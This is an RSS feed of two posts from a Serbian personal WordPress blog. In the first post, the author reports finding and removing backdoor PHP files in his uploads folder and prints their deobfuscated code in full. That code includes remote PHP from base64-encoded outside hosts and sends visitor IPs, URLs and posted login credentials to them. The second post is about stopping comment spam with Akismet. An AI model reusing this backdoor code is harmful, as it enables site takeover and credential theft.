<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Avramov bRlog &#187; zaštita</title>
	<atom:link href="http://blog.avramovic.info/tag/zastita/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.avramovic.info</link>
	<description>Web dnevnik Nemanje Avramovića</description>
	<lastBuildDate>Wed, 20 Apr 2011 10:10:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Backdoor na bRlogu?</title>
		<link>http://blog.avramovic.info/2008/09/11/backdoor-na-brlogu/</link>
		<comments>http://blog.avramovic.info/2008/09/11/backdoor-na-brlogu/#comments</comments>
		<pubDate>Thu, 11 Sep 2008 10:43:48 +0000</pubDate>
		<dc:creator>Avram</dc:creator>
				<category><![CDATA[Računar]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[deface]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[zaštita]]></category>

		<guid isPermaLink="false">http://blog.avramovic.info/?p=490</guid>
		<description><![CDATA[Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono &#8220;obfuscated&#8221; kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p style="text-align: justify;">Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono &#8220;obfuscated&#8221; kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko <a href="http://blog.avramovic.info/2008/08/25/phpedit-nagrada-posle-pet-meseci/" target="_self">PHPEdit</a>-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:</p>
<p><strong>base.php</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><a href="http://www.php.net/error_reporting"><span class="kw3">error_reporting</span></a><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;l&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> and <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;p&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;input&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user_auth</span> = <span class="st0">&quot;&amp;amp;l=&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;l&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> . <span class="st0">&quot;&amp;amp;p=&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><a href="http://www.php.net/md5"><span class="kw3">md5</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;p&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user_auth</span> = <span class="st0">&quot;&amp;amp;l=&quot;</span> . <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;l&quot;</span><span class="br0">&#93;</span> . <span class="st0">&quot;&amp;amp;p=&quot;</span> . <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;p&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user_auth</span> = <span class="st0">&quot;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;log_flg&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$log_flg</span> = <span class="st0">&quot;&amp;amp;log&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span>!@<span class="kw1">include_once</span><span class="br0">&#40;</span><a href="http://www.php.net/base64_decode"><span class="kw3">base64_decode</span></a><span class="br0">&#40;</span><span class="st0">&quot;aHR0cDovLw==&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;hegfzzazbzbcd&quot;</span> . <a href="http://www.php.net/base64_decode"><span class="kw3">base64_decode</span></a><span class="br0">&#40;</span><span class="st0">&quot;LnVzZXJzLmJpc2hlbGwucnU=&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;/?r_addr=&quot;</span> . <a href="http://www.php.net/sprintf"><span class="kw3">sprintf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%u&quot;</span>, <a href="http://www.php.net/ip2long"><span class="kw3">ip2long</span></a><span class="br0">&#40;</span><a href="http://www.php.net/getenv"><span class="kw3">getenv</span></a><span class="br0">&#40;</span>REMOTE_ADDR<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> . <span class="st0">&quot;&amp;amp;url=&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;SERVER_NAME&quot;</span><span class="br0">&#93;</span> . <span class="re0">$_SERVER</span><span class="br0">&#91;</span>REQUEST_URI<span class="br0">&#93;</span><span class="br0">&#41;</span> . <span class="re0">$user_auth</span> . <span class="re0">$log_flg</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;l&quot;</span><span class="br0">&#93;</span> == <span class="st0">&quot;special&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;sys_active&quot;</span> . `uname -a`;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p><strong>create.php</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><a href="http://www.php.net/error_reporting"><span class="kw3">error_reporting</span></a><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$s</span> = <span class="st0">&quot;e&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$a</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;HTTP_HOST&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;HTTP_HOST&quot;</span><span class="br0">&#93;</span> : <span class="re0">$HTTP_HOST</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$b</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;SERVER_NAME&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;SERVER_NAME&quot;</span><span class="br0">&#93;</span> : <span class="re0">$SERVER_NAME</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="re0">$c</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;REQUEST_URI&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;REQUEST_URI&quot;</span><span class="br0">&#93;</span> : <span class="re0">$REQUEST_URI</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$d</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;PHP_SELF&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;PHP_SELF&quot;</span><span class="br0">&#93;</span> : <span class="re0">$PHP_SELF</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$e</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;QUERY_STRING&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;QUERY_STRING&quot;</span><span class="br0">&#93;</span> : <span class="re0">$QUERY_STRING</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$f</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;HTTP_REFERER&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;HTTP_REFERER&quot;</span><span class="br0">&#93;</span> : <span class="re0">$HTTP_REFERER</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$g</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;HTTP_USER_AGENT&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;HTTP_USER_AGENT&quot;</span><span class="br0">&#93;</span> : <span class="re0">$HTTP_USER_AGENT</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="re0">$h</span> = <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;REMOTE_ADDR&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&quot;REMOTE_ADDR&quot;</span><span class="br0">&#93;</span> : <span class="re0">$REMOTE_ADDR</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$str</span> = <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$a</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$b</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$c</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$d</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$e</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$g</span><span class="br0">&#41;</span> . <span class="st0">&quot;.&quot;</span> . <a href="http://www.php.net/base64_encode"><span class="kw3">base64_encode</span></a><span class="br0">&#40;</span><span class="re0">$h</span><span class="br0">&#41;</span> . <span class="st0">&quot;.$s&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">include</span><span class="br0">&#40;</span><a href="http://www.php.net/base64_decode"><span class="kw3">base64_decode</span></a><span class="br0">&#40;</span><span class="st0">&quot;aHR0cDovLw==&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;hegfzzazbzbcd&quot;</span> . <a href="http://www.php.net/base64_decode"><span class="kw3">base64_decode</span></a><span class="br0">&#40;</span><span class="st0">&quot;LnVzZXJzLnBocGZyZWUucnU=&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;/?&quot;</span> . <span class="re0">$str</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span><span class="br0">&#40;</span><a href="http://www.php.net/base64_decode"><span class="kw3">base64_decode</span></a><span class="br0">&#40;</span><span class="st0">&quot;aHR0cDovLw==&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;hegfzzazbzbcd&quot;</span> . <a href="http://www.php.net/base64_decode"><span class="kw3">base64_decode</span></a><span class="br0">&#40;</span><span class="st0">&quot;LnVzZXJzLnBocGNvZGluZy5ydQ==&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;/?&quot;</span> . <span class="re0">$str</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p style="text-align: justify;">Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa  http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese &#8211; klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje &#8211; ne može, jer sam izbrisao skripte, i <a href="http://blog.avramovic.info/wp-content/uploads/2007/create.php" target="_blank">sprečio izvršavanje php skripti u uploads/ folderu</a>.</p>
<p style="text-align: justify;">A sad me izvin&#8217;te, odoh da proverim ostale blogove, što savetujem i vama. <img src='http://blog.avramovic.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<div class="shr-publisher-490"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://blog.avramovic.info/2008/09/11/backdoor-na-brlogu/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Akismet čuva InterestingFacts</title>
		<link>http://blog.avramovic.info/2008/08/19/akismet-cuva-interestingfactsorg/</link>
		<comments>http://blog.avramovic.info/2008/08/19/akismet-cuva-interestingfactsorg/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 00:47:13 +0000</pubDate>
		<dc:creator>Avram</dc:creator>
				<category><![CDATA[Koješta]]></category>
		<category><![CDATA[Računar]]></category>
		<category><![CDATA[akismet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[zaštita]]></category>

		<guid isPermaLink="false">http://blog.avramovic.info/?p=412</guid>
		<description><![CDATA[Nije me bilo neko vreme&#8230; došao sam sa mora, nisam, naravno, pocrneo, jer ne volim sunčanje, i tako to&#8230; u principu me mrzi da sad prepričavam neke događaje, a par fotki imate kod mene na MySpace-u, pa ih možete videti tamo. Sve u svemu, bilo je lepo, nisam imao nikakvih problema u CG, obišao sam [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p style="text-align: justify;">Nije me bilo neko vreme&#8230; došao sam sa mora, nisam, naravno, pocrneo, jer ne volim sunčanje, i tako to&#8230; u principu me mrzi da sad prepričavam neke događaje, a par fotki imate kod mene na <a href="http://viewmorepics.myspace.com/index.cfm?fuseaction=user.viewPicture&amp;friendID=116647707&amp;albumId=1929007" target="_blank">MySpace-u</a>, pa ih možete videti tamo. Sve u svemu, bilo je lepo, nisam imao nikakvih problema u CG, obišao sam sve od Herceg Novog do Ade Bojane i super se proveo.</p>
<p style="text-align: justify;">Međutim, kad sam se vratio zatekao sam preko 2000 SPAM komentara na <a href="http://www.interestingfacts.org/" target="_blank">InterestingFacts.org</a>. Očigledno je ona CAPTCHA beskorisna (a kako i ne bi bila kad nema nikakvog deformisanja slike?)&#8230; note to myself &#8211; izbaci kepču. Nije mi bio problem da uklonim te spam komentare jer su se prilično šablonski pojavljivali, tako da sam sa pet-šest MySQL kverija očistio bazu od spama. Ali, problem je predstavljalo to što se spam botovi nikako nisu zaustavljali. Za dva dana sam skupljao po 2000 spam komentara. Poslednji talas je bio večeras kad sam par minuta posle čišćenja baze video desetak novih spam komentara u bazi. No, setih se <a href="http://akismet.com/" target="_blank">Akismet</a>-a kojim sam zaštitio ovaj i sve ostale blogove koje održavam, nađoh neku <a href="http://miphp.net/blog/view/php4_akismet_class" target="_blank">gotovu PHP klasu za Akismet</a> i eto, od ovog jutra Akismet čuva Interesting Facts. Testirao sam ga sa normalnim komentarom i jednim &#8220;buy cheap viagra&#8221; komentarom, i pokazao se kao prilično uspešan. Takođe, nisam se mnogo trudio oko implementacije zaštite tako da se sumnjivi komentari ne zadržavaju za moderaciju već se odmah odbacuju. Ako budem saznao da dosta greši (mada po iskustvima sa WordPress-om &#8211; ne greši dosta) uvešću i tako nešto, no neću sada o tome.</p>
<p style="text-align: justify;">Inače, juče sam prijavio tri ispita za septembarski rok i nadam se da ću naći vremena da ih spremim, ali kako je <a href="http://www.instant-update.com/" target="_blank">Instant Update</a> 3 u završnoj fazi izrade (tačnije gotov je, treba ga samo spakovati za release)  a i Beer Fest nam se približava &#8211; teško.</p>
<div class="shr-publisher-412"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://blog.avramovic.info/2008/08/19/akismet-cuva-interestingfactsorg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

